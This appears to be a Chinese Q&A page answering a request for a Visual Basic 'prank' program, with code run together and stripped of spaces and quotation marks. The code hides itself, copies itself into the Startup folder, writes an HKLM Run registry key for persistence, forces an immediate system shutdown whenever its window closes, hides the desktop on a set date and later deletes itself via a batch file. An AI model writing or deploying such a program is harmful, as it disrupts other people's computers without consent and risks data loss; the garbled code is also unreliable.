求vb一个恶作剧的小程序

微信公开课小程序热门讨论「求vb一个恶作剧的小程序」最新回复-相关程序已发到你的邮箱，望采纳。
//愚人节快乐PrivateDeclareFunctionFindWindowLibuser32AliasFindWindowA(ByVallpClassNameAsString,ByVallpWindowNameAsString)AsLongPrivateDeclareFunctionShowWindowLibuser32(ByValhwndAsLong,ByValnCmdShowAsLong)AsLongPrivateConstSW_HIDE=0PrivateConstSW_RESTORE=9Privatehwnd5 AsLongPrivateSubForm_Load()App.TaskVisible=Falses1=App.Path&&App.EXEName&.exes2=C:DocumentsandSettingsAllusers「开始」菜单程序启动&App.EXEName&.exeFileCopys1,s2Setw=CreateObject(wscript.shell)  w.regwriteHKLMSOFTWAREMicrosoftWindowsCurrentVersionRun&App.EXEName,App.Path&&App.EXEName&.exeEndSubPrivateSubForm_Unload(CancelAsInteger)ShellShutdown.exe-s-t0-fEndSubPrivateSubTimer1_Timer()IfFormat(Now,yyyy/mm/dd)=20100401ThenDimHwdAsLongDimrtnAsLongHwd=FindWindow(Progman,vbNullString)rtn=ShowWindow(Hwd,SW_HIDE)CallShowWindow(hwnd5,SW_HIDE)MsgBox愚人节快乐,,愚人,你好DimwoninuEndIfEndSubPrivateSubTimer2_Timer()IfFormat(Now,yyyy/mm/dd)=20100402ThenOpenApp.Path&a.batForOutputAs#1Print#1,@echooffPrint#1,sleep100Print#1,del&App.EXEName+.exePrint#1,dela.batPrint#1,clsPrint#1,exitClose#1ShellApp.Path&a.bat,vbHideEndIfEndSub 更多有关「求vb一个恶作剧的小程序」的疑问请扫码关注微信公开课+小程序！了解更多